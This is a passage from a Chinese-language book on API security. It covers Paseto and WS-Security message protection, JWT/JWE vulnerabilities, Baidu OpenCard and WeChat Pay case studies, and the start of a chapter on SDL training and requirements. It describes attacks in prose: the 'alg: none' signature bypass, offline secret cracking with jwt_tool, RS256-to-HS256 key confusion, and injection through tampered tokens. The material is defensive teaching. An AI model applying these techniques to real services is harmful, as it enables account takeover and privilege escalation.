3)基于一次性随机数nonce和密钥随机数secretKey生成加密密钥 EK和验证密钥AK,并将协议版本、目标用途、页脚(如果有的话)一 起打包,生成preAuth值。 4)调用AES算法的实现,对明文消息payload进行加密,其算法伪 码如下所示: 5)将验证密钥AK与preAuth值,通过HMAC算法,生成中间值 temp。 6)使用算法v2.local.Base64(一次性随机数+密文 +temp).Base64url(页脚)生成Paseto格式的数据。 (2)解密过程 解密是加密过程的逆向操作,当接收端获取到Paseto格式的数据 后,对数据进行解析、解码、解密等操作,验证数据的正确性。其步骤 如下。 1)检验是否存在页脚,如果存在,则通过用户自定义的方式来验 证页脚数据。 2)按照v2.local的定义,验证接收的数据是否符合Paseto格式。 3)按照Paseto格式进行Base64解码,获取各个组成部分。 4)重复加密过程的33)~5)三个步骤,将解密过程生成的temp值 与客户端传入的temp值进行比对,如果比对成功,则调用AES算法进行 解密。 5)如果解密失败,提示异常。 通过paseto4j类库的使用分析可以看出,Paseto的加密和解密过程中 对加密算法的使用仅占其中很小的一部分,更重要的33)~5)三个步 骤的重复操作,在加密和解密两个过程均存在,能有效地防止数据传输 过程被篡改,通过数据验证的方式保障数据的一致性。 看完了加密和解密之后,接着来看看签名和验签的过程。下面的代 码片段为使用paseto4j类库的样例: (3)签名过程 签名过程是Paseto的v2.public所具有的,在paseto4j类库其实现步骤 如下。 1)首先使用RSA算法,创建公钥和私钥对。 2)接着将头部值v2.public、payload、footer一起打包,生成 preAuth。 3)调用signRsaPssSha384方法,用私钥将preAuth值生成签名字符 串。其算法伪码如下: 4)最后,使用算法v2.public.Base64(payload+签名字符 串).Base64url(页脚)生成Paseto格式的数据。 (4)验签过程 验签是签名的逆向操作,其步骤如下。 1)首先获得签名字符串和公钥,判断页脚是否存在,如果存在页 脚,则先验证页脚。 2)接着验证数据格式是否为v2.public开头的Paseto格式。 3)如果格式正确,则Base64解码有效载荷,分别获取payload和签 名字符串。 4)验签时,先将头部值v2.public、payload、footer一起打包,生成 preAuth。 5)重复签名过程的第3)步,将生成的签名字符串与获得签名字符 串进行比对。 6)如果比对数据一致则验签通过,使用原始消息。否则,消息异 常处理。 4.Paseto技术应用与安全性 从上文Paseto令牌的4个使用过程的介绍可以看出,Paseto两种不同 的类型在使用时是面向不同需求的安全场景。 在传送一些敏感数据的场景下,可以使用Paseto的local类型。此 时,通信双方以共享密钥的形式传递数据。这种场景下,密钥的安全性 将更为重要。而在使用Paseto的public类型的场景下,更需要关注的是数 据传输过程是否被篡改、被破坏,更适用授权、认证类的场景,比如ID 令牌、访问令牌Access Token,通过Paseto所携带的信息作为整个流程 的一部分。通过JWT和Paseto的使用介绍,想必读者也能看出,Paseto在 使用方式上相比JWT要简单,与此同时,Paseto数据格式对于头部的定 义、加密算法、签名算法的选择有诸多限制,用户的可选择性较小,这 也是Paseto设计的初衷,通过回避因JOSE规范灵活性带来的不安全问题 而提高自身的安全性,尤其是在加密算法、密钥生成、头部声明等方面 做的精简性设计。 当开发者在使用这两种技术时,需要根据自己业务场景的复杂性来 评估选用哪种技术。通常来说,如果Paseto能满足要求,建议使用 Paseto技术;如果Paseto无法满足,建议使用JWT技术,但需要对JWT技 术进行裁剪或约定,禁止使用一些不安全的加密算法,规避当前协议流 程中的缺陷。 9.2.3 XML及其他格式消息保护 JWT和Paseto技术主要适用于JSON数据格式,除JSON数据格式 外,以XML作为数据格式的消息在应用程序接口中也比较常见。在 XML的消息保护方面,以SOAP协议中的WS-*协议栈影响最为广泛,但 因技术相对比较陈旧,使用者正逐步减少,在这里仅为读者做简要的介 绍。 1.WS-*协议栈简介 在SOAP协议中,有关的一系列安全标准规范通常以WS-开头,又 被称为WS-*协议栈,它包含的标准规范如下。 ■ WS-RM:即Web服务可靠消息传递(WS-ReliableMessaging)规 范,定义两个系统之间SOAP消息通信的可靠性和健壮性。 ■ WS-Security:是消息级的安全标准,通过对SOAP的拓展,采用 XML数字签名、XML加密以及通过安全性令牌等安全模型和加密技 术,保障SOAP消息的完整性和机密性。 ■ WS-SecureConversation:描述在SOAP通信中,如何建立会话密 钥、派生密钥和消息令牌(per-message)密钥等,保证认证请求者消 息、认证服务以及认证上下文的安全性。 ■ WS-Trust:为WS-Security的拓展,描述与令牌有关的创建、发 布、验证,确保通信各方处于一个安全可信的数据交换环境。 ■ WS-Federation:定义了统一认证和授权相关的约束和规范。 ■ WS-SecurityPolicy:定义了应用服务在实现具体的安全策略时遵 循的约束和规范。 这一系列的标准规范,以WS-Security为基础并进行拓展,将XML 签名、XML加密与认证、授权相关的安全技术(比如Kerberos令牌、 X.509证书、SAML断言)进行整合,绑定到SOAP协议中,以保证 SOAP消息的安全性。 2.WS-Security消息保护机制 一个完整的使用消息保护机制的SOAP消息格式包含安全令牌、 XML加密、XML签名三个部分,如下结构所示: 从这个消息格式可以看到,与安全有关的安全令牌、XML加密、 XML签名三个部分都在消息头<S:Header>中定义的,而消息体中仅定义 了需要加密和签名的数据内容。在<wsse:Security>中定义的信息表示接 收端在处理时需要接收与安全有关的信息,而在<S:Body>中定义了需要 被签名的信息,<ds:Signature>节点中定义了签名的相关信息,比如签名 使用的算法、签名引用的对象、签名值等。关于WS-Security加密与签名 更完整的样例,请参考其官方规范中的定义描述,链接地址为 http://docs.oasis-open.org/wss/v1.1/wss-v1.1-spec-errata- SOAPMessageSecurity.htm。 在使用WS-Security加密和签名时,需要注意的是,因加密和签名的 先后顺序不同,上述消息的结构会发生变化。如果是先签名后加密,则 <wsse:Security>的消息结构中加密块在前;反之,如果是先加密,再签 名,则结构改变为签名块在前,如图9-11所示。 ●图9-11 WS-Security加密和签名先后顺序对消息结构的影响 在互联网应用软件开发中,要实现WS-Security安全机制对开发者来 说已经比较简单,很多Web Service开发组件也集成了此安全功能,开发 者只需要通过一系列的配置即可完成安全功能的使用,比如Apache CXF集成了对WS-Security的支持、Spring框架集成了对WS-Security的支 持以及完成功能封装的组件如Apache WSS4J等,感兴趣的读者可以自 己去深入研究。 另外,在API网关或企业服务总线类产品中,通常也会集成多种消 息加密与签名的功能,可用于保护消息的安全。其原理如图9-12所示。 ●图9-12 消息加密和签名原理示意图 9.3 常见的消息保护漏洞 上一节介绍了消息保护的相关技术,接下来将结合一些案例,为读 者讲解针对消息保护方面的攻击方式或漏洞。 9.3.1 JWT校验机制绕过漏洞 JWT作为API技术中消息传递的重要形式,使用范围尤其广泛,而 各个API服务提供方在OAuth协议的具体实现中,常常因为实现不规范 或格式校验不足导致针对JWT格式的攻击。CVE-2019-18848漏洞就是关 于JWE格式校验问题的漏洞。 在前文中已经提及,JWE格式由标头、密钥、初始向量、加密后 的数据、认证标签5个部分组成,按照格式要求,标头中会定义加密密 钥的生成算法和数据加密的算法,当加密时,会按照标头定义对明文进 行加密。如果通信过程中,使用JWE的任何一方,对JWE的格式校验存 在问题,则会存在JWE格式校验绕过,认为非JWE的数据是JWE格式, 导致敏感信息泄露的风险。 正常情况下,生成JWE的算法为点号(.)连接的字符串: base64url(utf8(标头)).base64url(加密密钥).base64url(初始向 量).base64url(密文).base64url(认证标记),如果格式校验出了问题,则 会导致标头的定义或约束无效,出现base64url(utf8(标头)).base64url(加 密密钥)..base64url (初始向量).base64url(明文)的字符串(注意这个字符 串中连续的两个点号)。在CVE-2019-18848中,是因为校验程序通过点 号split时,没有正确校验JWE格式而导致的校验过程绕过。 在GitHub上,漏洞发现者给出了此漏洞发生的伪码描述,如图9-13 所示。 如果实现机制存在问题,导致格式校验被绕过,而JWT格式的数据 仅为Base64编码,攻击方会通过解码后篡改JWT数据绕过校验,达到获 取敏感信息或绕过授权的目的。 ●图9-13 GitHub上denisenkom对CVE-2019-18848漏洞成因分析 一般来说,单纯性的JWT格式是不会传递敏感信息的,尤其是在标 头和有效载荷部分。如果因技术实现产生错误,将敏感信息放入标头或 有效载荷部分,则攻击者会解码JWT格式数据获取敏感信息,这其中最 为常见的敏感信息如Token、密钥。在包含这些敏感信息的情况下,如 果签名验证机制再被绕过,则签名校验相当于无效,攻击者可以达到接 管账号或提升权限的目的。比如通过修改标头设置"alg"为"none"绕过签 名校验,解码后将普通用户user替换为admin来提升权限。 9.3.2 JWT加解密和算法相关漏洞 加解密操作和加解密算法是消息保护的基础,如果加解密操作被破 坏或加解密算法、密钥被攻击,则会导致整个消息保护的安全机制失 效。而在针对JWT的攻击中,针对加解密操作、密钥、算法的攻击也是 很常见的。 在JWS的使用中,通常使用HMAC签名密钥SHA-256、SHA-384或 SHA-512对消息生成消息认证码,比如使用共享密钥shareSecret对消息 应用SHA-256进行签名的代码片段如下(此处使用java-jwt类库): 这是很通用的JWT签名在Java中的代码实现,并没有什么特别的地 方。这种格式的数据在JWT签名验证时,也同样基于共享密钥,采用相 同的算法,对消息进行签名,再比对签名字符串的一致性,从而校验消 息在传输过程是否被篡改。而对攻击者来说,他们可以获取应用程序中 JWT格式的字符串,使用破解工具(比如jwt_tool,网址为 https://github.com/ticarpi/jwt_tool)离线破解共享密钥,再伪造JWT数据 以达到攻击的目的。 除此之外,还有另一种针对签名算法的攻击,比如应用安全研究人 员Sjoerd Langkemper在其博客(https://www.sjoerdlangkemper.nl)提及 的将RS256更改为HS256算法,使用公钥作为私钥,以达到签名绕过的 目的。一般情况下,Java代码中使用RS256签名时,其代码片段如下 (此处使用java-jwt类库): 这段代码实现是没有问题的,它演示了使用公钥、私钥对JWT签名 的过程。如果一个应用程序服务器端,同时支持RSA和HMAC两种签名 算法(这很正常,JWS规范中即是如此定义的),则当客户被强制指定 为HMAC HS256时,此时的公钥是公开的,相当于使用HMAC签名密钥 SHA-256中的共享密钥被破解了,被攻击利用后所造成的危害是一样 的。 9.3.3 其他消息保护类型的漏洞 针对消息保护技术攻击的手法很多,比如针对JSON格式的Unicode 转义的恶意破坏,上文提及的针对JWT格式的各种攻击。除了这些针对 特殊数据格式的攻击外,传统的Web安全攻击手法在消息保护的过程中 也经常出现,比如点击劫持、CSRF、SQL注入等。 无论是JWT格式、Paseto格式还是XML格式的数据,在接收方进行 数据处理时,都会对数据格式进行解析,如果解析后仍需要与后端的数 据库、主机、存储等交互,则最为常见的SQL注入、命令行注入、XEE 等漏洞都可能会发生。比如在JWT格式中,通常包含客户端ID或用户ID 字段,这些字段在服务器端校验时,通常会查询数据库做数据匹配,如 果JWT数据被恶意篡改为攻击向量,则会导致SQL注入,如下JWT数据 所示: 同理,如果代码中处理JWT的JSON数据使用了Fastjson,则会导致 JSON反序列化的通用漏洞如下代码所示: 对于这类通用漏洞,在安全设计时,需要从组件或依赖库引入层面 进行考虑,通过“引入审核-过程监控-流程闭环”来保障应用程序的安全 性。 除此之外,针对令牌或标识类的漏洞,比如令牌重放攻击、令牌不 失效、标识字段易猜解、令牌泄露、中间人劫持等,在API消息保护中 也会存在,这也是在本书中反复强调要基于API生命周期去考虑API安 全性的一个重要原因。 9.4 业界最佳实践 通过上述传输层消息保护和应用层消息保护技术的介绍可以看出, 无论哪种类型的消息格式,所使用的保护技术主要集中在如下两个层 面。 ■ 通信链路的TLS加密传输。 ■ 应用层消息的加密和签名。 基于以上的这些知识储备,接下来将和读者一起来看看国内头部互 联网企业在消息保护中所使用的技术细节。 9.4.1 案例之百度智能小程序OpenCard消息保护 消息保护技术在互联网应用中使用比较广泛,尤其是在公开的网络 环境中,恶意用户往往混合在正常用户之中,为了防止恶意用户的蓄意 破坏,使用消息保护技术也成了互联网应用的基本要求,百度智能小程 序OpenCard消息保护就是其中一个很好的例子。 1.背景介绍 OpenCard是百度搜索专为百度智能小程序开发者推出的一个新合作 模式,当用户搜索某检索词时,百度数据开放平台会对用户的检索词进 行分析提炼,按照用户需求整合开发者的数据资源和百度数据开放平台 资源,以OpenCard的形式同步展示在搜索结果中。不同类目的 OpenCard都有自己的展示样式,开发者也可以自己调用各种组件来进行 卡片样式的自主设计,如大图组件、筛选组件、运营组件等。其交互过 程如图9-14所示。 当用户在移动客户端上发起查询请求(比如百度搜索请求)时,会 调用百度数据开放平台的API接口来传递请求数据。百度数据开放平台 接收请求参数后,进行语义分析,推断用户实际需求,并调用小程序 Webhook通信接口获取资源信息。当小程序应答资源信息后,将资源信 息与百度数据开放平台的数据进行整合,响应客户端的API请求,以 OpenCard的样式进行展示。在整个交互流程中,尤其是客户端与百度数 据开放平台之间,消息传输的保护尤其重要,百度在此方面使用了消息 保护技术来保护小程序提供的资源数据不被第三方窃取以及双方的通信 不被中间人劫持。 ●图9-14 OpenCard通信交互示意图 2.技术选择与应用 OpenCard小程序使用JWE作为消息保护技术,以方便开发者根据自 身需求,选择合适的开源类库,在小程序服务开发中使用与集成。 (1)消息格式 作为通信传输的内容,OpenCard小程序定义了请求消息和应答消息 的格式,其官方对于请求消息关键部分格式定义如表9-2所示。 表9-2 OpenCard小程序请求消息格式定义 同样,应答消息关键部分格式定义如表9-3所示。 表9-3 OpenCard小程序应答消息格式定义 (2)加密算法选择和使用 在通信交互过程中,使用加密算法对请求消息和响应消息进行加密 保护。在JWE消息中,通常使用两种加密算法的组合。 在百度的OpenCard这个案例中,所使用的两种加密算法单独组合 定义为{"alg":"A128KW","enc":"A128CBC-HS256"},其中A128KW 算法用于和预共享密钥PSK生成每次会话需要的内容加密密钥CEK,而 A128CBC-HS256用于消息内容的加密和认证标签的生成以及数据完整 性签名校验。 在开始加密前,需要定义加密密钥。这里可以使用JWK密钥生成工 具(网址为https://mkjwk.org/)生成JWT格式的签名密钥文件(读者需 要注意的是,OpenCard中使用的kid不是此工具生成的,是开发者在使 用时指定的),如图9-15所示。 ●图9-15 mkjwk工具 密钥确定下来之后,接下来将使用A128KW算法和PSK生成CEK。 PSK是需要开发者提前配置在开发者管理平台的,开发者在平台中输入 的格式为Base64url(PSK),即经过Base64url编码的PSK值。PSK存储在 双方服务器中,仅用于生成加密内容密钥CEK,不放入消息体中进行传 输。 同时,平台中会存在多个版本的PSK的情况,为了解决这个问题, 在JOSE标头的protected header中增加了一个额外字段kid,与PSK建立映 射关系。当通信交互时,携带kid,通过kid告知通信方使用哪个PSK解 密请求消息和加密返回消息。如API调用接口测试中的配置,如图9-16 所示。 rid的格式为毫秒时间戳-随机数,直接以Base64url编码的形式放在 protected header中作为签名内容的一部分,响应方解码后需要将rid值原 样返回给发送方,以保证响应与请求的一致性。 (3)API消息加密样例 在百度小程序OpenCard接入文档中,给出了不同开发语言的示例, 这里,以其官方的Python语言代码片段为例,展现其使用过程。 ●图9-16 OpenCard小程序中关键参数配置页面截图 1)消息的生成与发送。 当上述脚本执行完成后,输出的JWT格式数据为(注意其中的点号 连接符): 请求方将HTTP Header设置为Content-Type: application/jwt,以POST 方式发送HTTP请求。 2)消息的接收与验证。 当响应端接收到请求消息后,首先从JOSE标头中的protected header 中获取kid值,再通过kid拿到解密的key,对请求消息解密后进行业务处 理。最后,将业务处理结果按照请求消息的格式封装为JWT格式,做出 应答响应。如下伪码片段所示: 通过上述的两个过程可以看出,百度小程序OpenCard在API消息保 护上遵循了标准的JWT规范,将需要保护的业务数据以intent和data节点 的形式,放入JWT中进行保护。当读者在使用JWT进行消息保护时,可 以参考此样例,来实现自己的JWT逻辑与流程。 9.4.2 案例之微信支付消息保护 在人们的日常生活中,使用电子支付已很普遍,即使在某些偏远地 区,购物付款时现在也可以使用电子支付的方式。下面将结合微信支付 的使用场景,来分析一下其中的消息保护技术。 1.背景介绍 微信支付是腾讯集团旗下国内领先的第三方支付平台,致力于为用 户和企业提供安全、便捷、专业的在线支付服务。2018年腾讯公开的数 据已经显示,以微信支付为核心的“智慧生活解决方案”已覆盖数百万门 店、30多个行业,用户可以使用微信支付来看病、购物、吃饭、旅游、 交水电费等,微信支付已深入生活的方方面面。 在这里,为读者选择微信支付中JSAPI的核心接口统一下单场景来 讲述微信支付的消息保护。统一下单的使用场景为除付款码支付外,其 他的支付场景下,商户系统先调用统一下单接口在微信支付服务后台生 成预支付交易单,再根据后台服务返回的预支付交易会话标识调用 JSAPI完成交易支付的场景。JSAPI交易支付的流程如图9-17所示。 ●图9-17 微信支付交互流程示意图 用户使用移动端设备(比如手机)打开商户网页选购商品,在确认 微信支付后,网页调用JS getBrandWCPayRequest接口发起微信支付请 求,进入支付页面。当用户输入密码成功支付后,直接进入支付成功页 面。商户应用程序后台服务在收到来自微信开放平台的支付成功回调通 知后,标志该笔订单支付流程结束。 2.技术选择与应用 微信支付使用的消息格式为自定义的XML格式,对于通信的安全 性除了使用基本的身份鉴别措施,如商户注册认证、商户密钥、API证 书的单双向认证、商户支付密钥,还使用了随机数算法、签名算法、 HTTPS来保证消息在通信过程中的安全性。 (1)消息格式 统一下单的消息格式的主要字段及消息格式,其官方有如下定义。 1)请求消息关键部分格式如下。在请求消息的格式定义中可以看 到,包含了随机字符串、签名、签名类型等与消息保护的关键字段。 而与之对应的响应消息,其格式类似。 2)应答消息关键部分格式如下。在应答消息的格式定义中除了与 业务相关的返回状态码、服务商商户APPID、服务商商户号字段外,也 可以包含随机字符串、签名等字段。 在这些字段中,与消息保护关系密切的三个字段是sign、 sign_type、nonce_str,下面来详细看看其使用过程。 (2)签名算法的选择和使用 使用签名算法之前,先生成随机数,微信支付随机数nonce_str生成 算法如下: 当对传输的消息采用签名算法时,其签名过程如下。 1)将多个参数以键值对的格式(即key1=value1&key2=value2…) 拼接成字符串stringA。 2)将参数键值对按照参数名ASCII字典序排序。 3)将stringA拼接上key得到stringSignTemp字符串,再对 stringSignTemp按照指定的签名算法(MD5或HMAC-SHA256)进行运 算,最后将得到的字符串中所有字符转换为大写,得到sign值。算法表 示为sign=Upper(签名算法(stringA+key))。 通过上述步骤后,将生成的sign值放入请求消息或应答消息中,供 通信的对方验签使用。当然,微信支付在签名过程中,还需要注意如果 参数的值为空不参与签名、参数名排序时区分大小写等问题(因此处主 要分析API的消息保护,故其相关注意事项不在此展开)。 而通信的对方在验签时,其过程为生成sign的逆操作,首先判断消 息格式中是否包含sign字段,如果包含sign字段,则对所有参数进行签 名,将获得的签名值与传输过来的sign进行比对,结果一致则验签通 过,其关键代码如下: 除了上述的消息签名外,对于微信支付接口的安全性还有一些其他 的安全策略,比如敏感数据加密处理、外部请求数据访问必须进行鉴权 操作、通过XML外部实体引用的限制来防止XXE,这些都是值得学习 的地方,如下代码所示: 感兴趣的读者,可以访问其开发者网站,下载源码进行分析与学 习,网址链接为https://pay.weixin.qq.com/wiki/doc/api/jsapi_sl.php? chapter=11_1。 9.5 小结 本章重点围绕API的消息保护,从传输层消息保护和应用层消息保 护两个方面详细阐述了当前的主流技术,比如传输层TLS协议的使用、 JWT系列规范、Paseto令牌技术、WS-Security等。其中因WS-Security技 术相对比较陈旧,介绍篇幅较少,重点介绍了JSON相关的JWT、Paseto 技术。最后通过百度智能小程序OpenCard和微信支付统一下单接口两个 案例,结合消息保护的实践,详细分析了其使用过程。从这些内容读者 可以看出,TLS协议、消息加密、消息签名是当前API消息保护的主要 方式,同时,对于API消息中传输的敏感数据,使用字段级加密、脱 敏、鉴权等技术,也已逐渐被各厂商所重视,这是监管合规和数据安全 共同推动的结果。 第3篇 治理篇 第10章 API安全与SDL 前两篇分别为读者介绍了API安全的基础知识和API安全设计相关 技术,从这一章开始,将从API治理的角度,讨论在API生命周期中, 如何综合性地融合管理手段和技术手段进行API安全治理。本章将围绕 SDL,从API开发到API运维以及应急响应,介绍API安全在研发中的诸 多细节。 10.1 SDL简介 SDL最早是由微软提出、围绕软件生命周期的安全管理模型。为 了保证最终用户的安全,微软于2004年在软件开发各阶段中引入安全和 隐私问题的考量,将SDL引入其内部软件开发流程。接着,2008年发布 了一系列重要的指南(称为SDL优化模型),2010年又添加了敏捷 (Agile)开发模板,其目的是为了迎合互联网技术的发展和软件形态 的变化,综合落地过程中安全投入成本、应用安全性和易用性之间的考 量,做了更易于落地实施方面的改进。 10.1.1 SDL的基本含义 在微软提出的标准的软件安全管理模型SDL实施过程中,包含的关 键安全活动内容如图10-1所示。 ●图10-1 微软SDL关键安全活动 ■ 培训(Training):所有的团队成员都需要参与软件安全培训。 ■ 需求(Requirements):明确安全需求和计划,开展隐私风险评 估。 ■ 设计(Design):开展安全设计活动,比如设计规范、威胁建 模、攻击面分析等。 ■ 实现(Implementation):主要是安全编码,比如静态检测工具 的使用、弃用不安全函数、安全编译器等。 ■ 验证(Verification):验证安全机制的有效性,主要手段有动态 分析、黑/白盒测试、威胁模型和攻击面评析。 ■ 发布(Release):审核安全过程是否与需求一致,建立应急响应 机制。 ■ 响应(Response):执行应急响应,问题跟踪解决。 但对大多数企业来说,标准SDL模型的复杂度仍让应用研发人员在 业务与安全之间无法下手。比如威胁建模,其目的是帮助应用开发团队 在应用系统设计阶段,充分了解应用中存在的各种安全威胁,并指导应 用开发团队选择适当的应对措施。通常应对措施会涉及技术和业务两个 方面,比如如何改进业务流程的设计或如何在代码编写过程中避免某些 代码安全漏洞的出现等,甚至还有人员培训等方面。这些要求无论是对 安全人员还是对研发人员,都需要很高的专业素养。再比如安全开发制 定编码规范一项,如何制定覆盖多种编程语言、包含几百条安全编码规 则的编码规范,对安全人员来说也是一个挑战;即使安全人员制定出来 了,研发人员在编码过程中,如何学习掌握,又如何满足于编码规则, 对研发人员也是很大挑战。基于这些原因,国内的互联网企业安全建设 大多数是裁剪后的SDL片段,能完整实施成套SDL的企业寥寥无几。如 今,当业界在讨论SDL时,更多的是指对软件生命周期安全管理的大 范畴,代指安全管理模型上微软的SDL、OWASP的S-SDLC模型对安 全管理的理念,而不是实指微软的SDL。 10.1.2 SDL对API安全的意义 从单点的安全功能设计到全生命周期SDL安全模型的使用,是软件 开发在安全建设过程中发展的必然结果。和传统的应用安全类似,在 API研发过程中应用SDL对API安全有着特殊的意义。首先,与单一的安 全活动或单点安全设计相比,SDL模型从API全生命周期、安全管理、 安全运营、安全技术等多个角度关注API的安全性,看问题更为全面, 也为安全风险的早期识别、早期解决提供了切入点。其次,使用SDL模 型,实际是使用一套安全管理的方法论,通过模型的建立为API安全管 理工作提供标准的操作规范指引,解决了安全工作不知道从何处下手 的困境。在SDL实施过程的各个关键安全活动上,根据各个企业或业务 的特点,制定出来的标准化操作流程和操作规范,在安全水平参差不齐 的情况下,通过过程保证了整体输出产物的稳定水平。最后,SDL的 核心理念是将安全融入软件开发的每一个阶段,比如安全需求、安全设 计、安全测试等,让不同阶段不同角色的人员参与安全活动,有利于软 件研发团队的安全文化建设。对软件研发来说,每一个角色所需要的技 能,所看到的视野是不一样的。如果都让安全工程师全程去做,则对安 全工程师的水平要求比较高。从外部来看,难以从市场上招聘到合适的 人员;从内部人才培养来看,难以短期内看到成效。这些既不利于一个 企业的用人需求,也不利于企业的长期发展。采用安全工程师作为教练 员,指导各个不同的角色正确的开展安全活动,并对过程进行监督和审 核,在当前环境下,是比较理想的一种解决思路。 10.2 SDL之API安全培训 安全培训是SDL在正式开展前必须实施的一个重要环节,安全培训 做得成功与否直接关系到整个SDL过程的成败。下面,将从API安全的 角度谈谈如何开展API安全培训。 10.2.1 如何开展API安全培训 在开展API安全培训活动时,首先需要考虑以下几个方面的内容。 ■ 培训对象:是指明确需要参与API安全培训的对象。在SDL过程 中会涉及多个角色的参与,不同的角色关注的重点不同。开展一个培训 课程时,首先需要明确培训对象。 ■ 培训目标和内容:组织培训时,给培训对象讲述哪些内容,培训 完成之后达到什么样的培训目标,是编写一节培训课程还是编写一个系 列的培训课程等。只有这些明确了,才能有的放矢地编写相关培训课程 或采购外部课程。 ■ 培训形式:指如何开展培训,是线上远程培训还是线下教室培 训,是单纯性的教授知识还是讲解案例后竞赛抢答,是授课还是短视频 播放,是海报还是宣传卡片等。这些,也是安全培训的一部分,多数情 况下,需要和课程结合来考虑培训形式。 ■ 培训计划:是指如何实施培训,要制定相关的培训计划,以跟踪 和推进培训工作。比如每两周一次,每次面向的对象不同,三个月一轮 询。还是普遍性的开展大规模线上培训,每半年一次。这是由制定的培 训计划和实际需求确定的。 ■ 效果评价:是指通过什么指标来评价培训的效果,做完安全培训 之后,是否达到了之前预设的培训目标。如果没达到,还有多大差距, 下次培训需要重点补齐哪些内容。这是通过评价指标来反映的,培训工 作的主导者通过指标数据分析,不断改进安全培训工作。 以上内容是比较成熟的安全培训工作要求。在实际开展过程中,可 能每一个企业内部的情况各不相同,安全工程师的水平也不尽相同,不 一定要求这么全面。这里,对API安全培训过程中的重点注意事项作一 下说明。 (1)安全培训对象与培训内容的选择 整个SDL的安全培训,虽然培训的内容以服务技术人员为主,但在 不同的培训课程中仍需要将具有管理职能的角色纳入培训对象,典型的 角色如项目经理。纳入项目经理作为培训对象的目的是希望通过赋能培 训,让项目经理了解SDL的大体内容,明白项目经理在整个过程中需要 关注的重点事项以及安全管理的底线要求。一般来说,比较全面的安全 培训对象需要包含项目经理、技术负责人、架构师、开发工程师、测 试工程师、运维工程师、质量工程师。 虽然培训对象包含了上述人员,但并不是这些角色均需要全程参与 所有的培训,培训主导者需要根据不同角色实际工作的需要在不同的课 程中将对应的角色包含进来。如果企业内部已有安全培训的内容,通常 无须单独开展,仅需要将API安全培训融入整体的培训过程中即可。如 果没有相关安全培训,则培训内容一般包含如下内容。 ■ API安全管理框架和关键指标。 ■ 常见API安全问题。 ■ 常见API安全技术与安全设计。 ■ API安全编码案例。 ■ API安全测试与工具使用。 这些内容中,API安全管理框架和关键指标主要是面向管理人员, 比如项目经理,告知管理人员在管理活动中需要关注的重点是什么。常 见API安全问题属于普适性的,可以面向所有人员,常见API安全技术 与安全设计适合技术负责人或架构师,API安全编码案例适合开发工程 师,API安全测试与工具使用适合测试人员。如果想做得再上一个层 次,可以再增加一些类似于阶段性产物和关键指标的培训内容,面向质 量工程师,告知质量工程师在做过程审计时,需要审计哪些输出产物, 关注哪些重点指标,比如是否有API安全测试报告,API安全测试报告 中提出的漏洞是否已修复、上线发布后发生API安全事件数量等。 (2)安全培训课程设计与开展形式 安全培训课程的设计对于纯技术人员来说,通常有一定的难度。如 果是安全工程师负责此项工作,建议在设计之前跟运营人员、专职培训 老师做深入的交流。同时,要把过去一年至半年的历史漏洞数据、安 全事件分析数据统计出来,在课程设计时突出重点。 和运营人员、专职培训老师交流时涉及的关键问题如下。 ■ 介绍课堂的对象和内容,向这两类人员寻求什么样的开展形式更 好,比如哪些内容适合做培训班形式的课程培训?哪些内容适合做简要 培训加知识竞答? ■ 如果是培训班形式的课程培训,课程结构如何设计更为吸引人, 课件编写时的注意事项有哪些? ■ 如何在培训过程中让听众更多地参与到课程中?从运营的角度 看,哪些课后评价指标更为合理?过程数据是如何收集的? 和培训对象交流时涉及的关键问题如下。 ■ 当前他们最关心的内容是什么?希望获得什么样的帮助? ■ 对于不同的授课形式,他们从实际需求或时间安排上,更趋向于 哪种? ■ 每次授课时长、课后作业或实践情况希望是什么样子的? ■ 过去一段时间内,反复发生的API安全问题有哪些?解决起来最 耗时的安全问题有哪些? 把这些关键问题理清楚,在正式实施培训过程中会少很多麻烦,同 时培训后获得的效果也比较好。 10.2.2 API安全培训相关工具 在实施API安全培训时,需要借助一些工具来辅助培训工作的开 展。除了像在线学习系统、微信答题抽奖系统、考试系统等非技术类 工具外,还有一些开源的或商用的工具供API安全培训时使用。主要如 下。 ■ API安全小贴士文档:在4.2.1节中有对此工具的详细介绍,可以 作为API安全培训的普适性教材或材料资料。 ■ OWASP API安全Top 10官方文档:作为OWASP对API安全风险 的重点推荐项,对API常见安全问题有详细的原理分析和案例讲解,培 训时可以与业务中发生的API安全问题相结合,做有重点的介绍。 ■ API技术官方文档:涉及使用的具体API技术,需要了解该技术 的基本使用方法和原理,比如Open API规范、OAuth协议核心规范、 JWT规范等。尤其是这些规范的官方文档中提供的相关链接或参考指 引,也是安全培训内容参考资料的来源。 ■ Spring-Security官方文档:对于使用Java作为开发技术栈的企业 来说,赋能研发人员熟悉Spring-Security官方文档中的内容,往往对安 全工作的整体推进起到事半功倍的效果,当然,这也包含API安全。 10.3 SDL之API安全需求 安全需求是后续工作开展的基线,通过需求分析将后续需要做的工 作落实到软件架构设计标准中,指导后续开发和实施,在输出产物中具 体表现为功能性安全需求和非功能性安全需求。 10.3.1 如何开展API安全需求 一般来说,安全需求主要考虑以下几方面的内容。 ■ 过程保证类需求:是组织级的安全要求,定义SDL的各个关键活 动在什么阶段开展,输出什么样的产物,是在组织层面已明确的操作流 程、工具、关键里程碑、交付成果、验收标准等,需要在管理实践中落 地的内容。 ■ 监管合规类需求:是监管部门的安全要求,具有强制性。一般来 源于国家法律法规、行业规范、上级管理部门要求等,典型的例子如个 人隐私保护类合规要求。 ■ 技术保障类需求:从安全攻防的角度,对API研发梳理安全需 求。比如系统需要提供API调用客户端应用程序注册功能、API调用监 控功能、API流量限制功能等,此类需求可以使用业界公开的威胁库或 检查表来作为需求分析的参考依据。 开展API安全需求活动的目的是为了在开发早期对需要开发的API 服务或接口进行安全评估,识别不同类型的安全需求,通过安全设计或 其他消减措施来控制安全风险,提高系统的安全性。 API安全需求实践在实际工作中很少单独开展,甚至安全需求实践 在不少企业中也是和安全设计融合在一起开展实践。考虑到不同的企业 内部安全资源情况,如果安全需求分析工作由安全工程师去做,则只需 要在其中加入API安全需求分析即可;如果是由架构师或技术负责人去 做,则安全工程师需要通过安全培训,指导架构师或技术负责人如何去 做API安全需求分析。简单而常见的做法是,由安全人员牵头,组织编 写安全需求检查表checklist,评审通过后由业务侧技术人员去开展安全 需求工作,安全人员再负责把关审核。 一个简单的API安全需求checklist表单样例如表10-1所示。 表10-1 API安全需求样例表 这个表单的内容多少不重要,重要的是在编制表单时要根据业务的 特性把相关的需求梳理清楚,并由人专门定时审视和维护,更新表单, 以防止需求项的变更没有及时维护在表单中。如果能把表单的内容在信 息化系统中工具化,当技术人员需要做安全需求时,可以直接访问系统 选择业务场景,系统自动生成安全类需求列表,这是比较理想的解决思 